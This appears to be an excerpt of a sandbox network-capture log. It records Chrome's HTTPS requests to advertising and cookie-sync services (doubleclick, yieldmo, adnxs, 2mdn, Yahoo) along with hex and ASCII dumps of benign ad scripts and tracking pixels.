2024-04-27 22:42:04 UTC	881	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:04 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:04 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile Set-Cookie: re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:04 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None vary: accept-encoding
2024-04-27 22:42:04 UTC	832	IN	Data Raw: 33 33 39 0d 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2d 75 73 2d 65 61 73 74 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 65 78 63 68 61 6e 67 65 2f 73 79 6e 63 2e 70 68 70 3f 70 3d 79 69 65 6c 64 6d 6f 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 20 62 6f 72 64 65 72 3d 22 30 22 20 68 65 69 67 68 74 3d 22 31 22 20 77 69 64 74 68 3d 22 31 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 61 64 73 2e 79 69 65 6c 64 6d 6f 2e 63 6f 6d 2f 76 30 30 30 2f 73 79 6e 63 3f 75 73 65 72 69 64 3d 24 55 49 44 26 70 6e 5f 69 64 3d 61 6e 22 20 73 74 79 6c 65 3d Data Ascii: 339<html><body><img src="https://pixel-us-east.rubiconproject.com/exchange/sync.php?p=yieldmo" style="display: none;" border="0" height="1" width="1"><img src="https://ib.adnxs.com/getuid?https://ads.yieldmo.com/v000/sync?userid=$UID&pn_id=an" style=
2024-04-27 22:42:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50073	142.251.167.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:05 UTC	1034	OUT	GET /xbbe/pixel?d=CJjNHBDdis7TAxjcjKTOATAB&v=APEucNU_oqW7upTKTy8FNduy5hrYbHa9xT4zgc8S7RQLVm68luKSwr7gTnMPO2Pw7b0FVFxBN6k40k6RAOTzksdrsWTbafSGKtia2IzHrNAjOoomGzxqtbw HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-27 22:42:05 UTC	918	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:05 GMT Server: cafe Cache-Control: private X-XSS-Protection: 0 Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Fri, 01-Aug-2008 22:45:55 GMT; SameSite=none; Secure Set-Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; expires=Mon, 27-Apr-2026 22:42:05 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 27 Apr 2024 22:42:05 GMT Connection: close Transfer-Encoding: chunked
2024-04-27 22:42:05 UTC	337	IN	Data Raw: 32 38 35 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 63 61 73 61 6c 65 5f 6d 65 64 69 61 32 5f 64 73 70 5f 73 65 63 75 72 65 26 67 6f 6f 67 6c 65 5f 63 6d 26 67 6f 6f 67 6c 65 5f 64 62 6d 26 67 64 70 72 3d 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 72 75 6d 3f 69 78 69 3d 30 26 63 6d 5f 64 73 70 5f 69 64 3d 38 35 26 67 64 70 72 3d 30 26 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 Data Ascii: 285<html><head></head><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm&gdpr=0" style="display:none;"/><img src="https://dsum-sec.casalemedia.com/rrum?ixi=0&cm_dsp_id=85&gdpr=0&cb=https%3A%2F%2Fc
2024-04-27 22:42:05 UTC	315	IN	Data Raw: 67 6f 6f 67 6c 65 5f 68 6d 25 33 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 61 70 70 6e 65 78 75 73 26 67 6f 6f 67 6c 65 5f 63 6d 26 67 6f 6f 67 6c 65 5f 64 62 6d 26 67 64 70 72 3d 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 61 70 70 6e 65 78 75 73 26 67 6f 6f 67 6c 65 5f 68 Data Ascii: google_hm%3D" style="display:none;"/><img src="https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_cm&google_dbm&gdpr=0" style="display:none;"/><img src="https://ib.adnxs.com/getuid?https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_h
2024-04-27 22:42:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50068	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:05 UTC	689	OUT	GET /879366/express_html_inpage_rendering_lib_200_278.js HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:05 UTC	774	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 113329 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 27 Apr 2024 21:41:34 GMT Expires: Sun, 28 Apr 2024 21:41:34 GMT Cache-Control: public, max-age=86400 Age: 3631 Last-Modified: Tue, 14 Mar 2023 18:44:05 GMT Content-Type: text/javascript Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:05 UTC	481	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 68 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 Data Ascii: (function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var h,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.define
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 0a 7d 2c 65 61 3d 64 61 28 74 68 69 73 29 2c 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 65 61 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 Data Ascii: t"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ea=da(this),fa=function(a,b){if(b)a:{var c=ea;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))br
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 6a 61 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 29 6a 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 6d 61 3b 61 3a 7b 76 61 72 20 6e 61 3d 7b 61 3a 21 30 7d 2c 6f 61 3d 7b 7d 3b 74 72 79 7b 6f 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 61 3b 6d 61 3d 6f 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6d 61 3d 21 31 7d 6a 61 3d 6d 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f Data Ascii: ct.create:function(a){var b=function(){};b.prototype=a;return new b},ja;if("function"==typeof Object.setPrototypeOf)ja=Object.setPrototypeOf;else{var ma;a:{var na={a:!0},oa={};try{oa.__proto__=na;ma=oa.a;break a}catch(a){}ma=!1}ja=ma?function(a,b){a.__pro
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 6e 75 6c 6c 3d 3d 62 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 2c 72 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 6e 75 6c 6c 21 3d 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 62 7d 2c 73 61 3d 22 63 6c 6f 73 75 72 65 5f 75 69 64 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2c 75 61 3d 30 2c 76 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 61 2e 62 69 6e 64 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 77 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 Data Ascii: .length;c++)if(b=b[a[c]],null==b)return null;return b},ra=function(a){var b=typeof a;return"object"==b&&null!=a\|\|"function"==b},sa="closure_uid_"+(1E9*Math.random()>>>0),ua=0,va=function(a,b,c){return a.call.apply(a.bind,arguments)},wa=function(a,b,c){if(
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 2b 2b 29 67 5b 6b 2d 32 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6b 5d 3b 72 65 74 75 72 6e 20 62 2e 70 72 6f 74 6f 74 79 70 65 5b 65 5d 2e 61 70 70 6c 79 28 64 2c 67 29 7d 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 3b 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 62 29 7b 69 66 28 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 41 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 76 6f 69 64 20 30 21 3d 3d 62 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 62 29 Data Ascii: ++)g[k-2]=arguments[k];return b.prototype[e].apply(d,g)}},za=function(a){return a};function A(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,A);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));void 0!==b&&(this.cause=b)
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 2f 2e 65 78 65 63 28 67 29 7c 7c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 5d 3b 69 66 28 30 3d 3d 66 5b 30 5d 2e 6c 65 6e 67 74 68 26 26 30 3d 3d 67 5b 30 5d 2e 6c 65 6e 67 74 68 29 62 72 65 61 6b 3b 63 3d 4f 61 28 30 3d 3d 66 5b 31 5d 2e 6c 65 6e 67 74 68 3f 30 3a 70 61 72 73 65 49 6e 74 28 66 5b 31 5d 2c 31 30 29 2c 30 3d 3d 67 5b 31 5d 2e 6c 65 6e 67 74 68 3f 30 3a 70 61 72 73 65 49 6e 74 28 67 5b 31 5d 2c 31 30 29 29 7c 7c 4f 61 28 30 3d 3d 66 5b 32 5d 2e 6c 65 6e 67 74 68 2c 30 3d 3d 67 5b 32 5d 2e 6c 65 6e 67 74 68 29 7c 7c 4f 61 28 66 5b 32 5d 2c 67 5b 32 5d 29 3b 66 3d 66 5b 33 5d 3b 67 3d 67 5b 33 5d 7d 77 68 69 6c 65 28 30 3d 3d 63 29 7d 72 65 74 75 72 6e 20 63 7d 2c 4f 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3c 62 3f Data Ascii: /.exec(g)\|\|["","","",""];if(0==f[0].length&&0==g[0].length)break;c=Oa(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))\|\|Oa(0==f[2].length,0==g[2].length)\|\|Oa(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c},Oa=function(a,b){return a<b?
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 67 74 68 2c 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 67 3d 30 3b 67 3c 63 3b 67 2b 2b 29 69 66 28 67 20 69 6e 20 66 29 7b 76 61 72 20 6b 3d 66 5b 67 5d 3b 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 6b 2c 67 2c 61 29 26 26 28 64 5b 65 2b 2b 5d 3d 6b 29 7d 72 65 74 75 72 6e 20 64 7d 2c 67 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 41 72 72 61 79 28 63 29 2c 65 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 3f 0a 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 63 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 28 64 5b 66 5d 3d 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 65 5b 66 5d 2c Data Ascii: gth,d=[],e=0,f="string"===typeof a?a.split(""):a,g=0;g<c;g++)if(g in f){var k=f[g];b.call(void 0,k,g,a)&&(d[e++]=k)}return d},gb=function(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 65 63 6b 6f 22 29 26 26 21 28 2d 31 21 3d 55 61 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 26 26 21 43 28 22 45 64 67 65 22 29 29 26 26 21 28 43 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 43 28 22 4d 53 49 45 22 29 29 26 26 21 43 28 22 45 64 67 65 22 29 2c 77 62 3d 2d 31 21 3d 55 61 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 26 26 21 43 28 22 45 64 67 65 22 29 2c 78 62 3d 51 61 26 26 56 61 26 26 56 61 2e 70 6c 61 74 66 6f 72 6d 3f 22 41 6e 64 72 6f 69 64 22 3d 3d 3d 56 61 2e 70 6c 61 74 66 6f 72 6d 3a 43 28 22 41 6e 64 72 6f 69 64 22 29 2c 79 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 70 2e 64 6f 63 75 6d 65 6e 74 3b 72 65 74 75 Data Ascii: ecko")&&!(-1!=Ua().toLowerCase().indexOf("webkit")&&!C("Edge"))&&!(C("Trident")\|\|C("MSIE"))&&!C("Edge"),wb=-1!=Ua().toLowerCase().indexOf("webkit")&&!C("Edge"),xb=Qa&&Va&&Va.platform?"Android"===Va.platform:C("Android"),yb=function(){var a=p.document;retu
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 53 79 6d 62 6f 6c 28 29 3f 53 79 6d 62 6f 6c 28 29 3a 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 58 62 28 61 29 7b 76 61 72 20 62 3b 57 62 3f 62 3d 61 5b 57 62 5d 3a 62 3d 61 2e 6a 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 62 3f 30 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 59 62 28 61 2c 62 29 7b 57 62 3f 61 5b 57 62 5d 3d 62 3a 76 6f 69 64 20 30 21 3d 3d 61 2e 6a 3f 61 2e 6a 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 61 2c 7b 6a 3a 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 7d 7d 29 3b 72 65 74 75 72 6e 20 61 7d 3b 76 61 72 20 5a 62 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 24 62 28 61 29 7b 72 65 74 75 72 6e 20 6e Data Ascii: Symbol()?Symbol():void 0;function Xb(a){var b;Wb?b=a[Wb]:b=a.j;return null==b?0:b}function Yb(a,b){Wb?a[Wb]=b:void 0!==a.j?a.j=b:Object.defineProperties(a,{j:{value:b,configurable:!0,writable:!0,enumerable:!1}});return a};var Zb={};function $b(a){return n
2024-04-27 22:42:05 UTC	1255	IN	Data Raw: 69 64 20 30 3d 3d 3d 54 62 5b 6b 5d 26 26 28 54 62 5b 6b 5d 3d 67 29 7d 7d 7d 62 3d 4f 62 5b 62 5d 3b 63 3d 41 72 72 61 79 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6c 65 6e 67 74 68 2f 33 29 29 3b 64 3d 62 5b 36 34 5d 7c 7c 22 22 3b 66 6f 72 28 65 3d 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 2d 32 3b 66 2b 3d 33 29 7b 76 61 72 20 6e 3d 61 5b 66 5d 2c 72 3d 61 5b 66 2b 31 5d 3b 6b 3d 61 5b 66 2b 32 5d 3b 67 3d 62 5b 6e 3e 3e 32 5d 3b 6e 3d 62 5b 28 6e 26 33 29 3c 3c 34 7c 72 3e 3e 34 5d 3b 72 3d 62 5b 28 72 26 31 35 29 3c 3c 32 7c 6b 3e 3e 36 5d 3b 6b 3d 62 5b 6b 26 36 33 5d 3b 63 5b 65 2b 2b 5d 3d 22 22 2b 67 2b 6e 2b 72 2b 6b 7d 67 3d 30 3b 6b 3d 64 3b 73 77 69 74 63 68 28 61 2e 6c 65 6e 67 74 68 2d 66 29 7b 63 61 73 65 20 32 3a 67 3d 61 5b 66 2b 31 5d Data Ascii: id 0===Tb[k]&&(Tb[k]=g)}}}b=Ob[b];c=Array(Math.floor(a.length/3));d=b[64]\|\|"";for(e=f=0;f<a.length-2;f+=3){var n=a[f],r=a[f+1];k=a[f+2];g=b[n>>2];n=b[(n&3)<<4\|r>>4];r=b[(r&15)<<2\|k>>6];k=b[k&63];c[e++]=""+g+n+r+k}g=0;k=d;switch(a.length-f){case 2:g=a[f+1]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50074	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:05 UTC	577	OUT	GET /aaq/puc/creative.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:05 UTC	822	IN	HTTP/1.1 200 OK x-amz-id-2: kFxZm+fmd1P3xV+6+JbW8t/YAtu8w7l7RWUhMox7dwxz+riTsGiTwAx3tf42VWLEBURgAKspj3c= x-amz-request-id: MT04XCBDY4FT4M47 Date: Sat, 27 Apr 2024 22:41:56 GMT Last-Modified: Wed, 24 Apr 2024 16:42:16 GMT x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=300 x-amz-version-id: 49eE1gJlMUIb3oYKLNie6u1QkuK0HnHO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 26624 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "9ad696b21e3234fb58b717cf4c3153d1" Age: 10 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 2f 2a 20 76 31 2e 31 37 2e 30 2d 70 72 65 0a 55 70 64 61 74 65 64 20 3a 20 32 30 32 34 2d 30 34 2d 32 34 0a 44 45 50 52 45 43 41 54 45 44 2c 20 70 6c 65 61 73 65 20 75 73 65 20 63 72 65 61 74 69 76 65 20 62 61 73 65 64 20 6f 6e 20 68 62 5f 66 6f 72 6d 61 74 20 74 61 72 67 65 74 69 6e 67 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 28 72 5b 74 5d 7c 7c 28 65 3d 72 5b 74 5d 3d 7b 69 3a 74 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 6e 5b 74 5d 2e 63 61 6c 6c 28 65 2e 65 78 70 6f 72 74 73 2c 65 2c 65 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 65 2e 6c 3d 21 30 2c 65 29 29 2e 65 78 70 6f 72 74 73 7d 6f 2e 6d 3d 6e 2c 6f 2e 63 3d 72 2c 6f 2e 64 3d Data Ascii: /* v1.17.0-preUpdated : 2024-04-24DEPRECATED, please use creative based on hb_format targeting */!function(n){var r={};function o(t){var e;return(r[t]\|\|(e=r[t]={i:t,l:!1,exports:{}},n[t].call(e.exports,e,e.exports,o),e.l=!0,e)).exports}o.m=n,o.c=r,o.d=
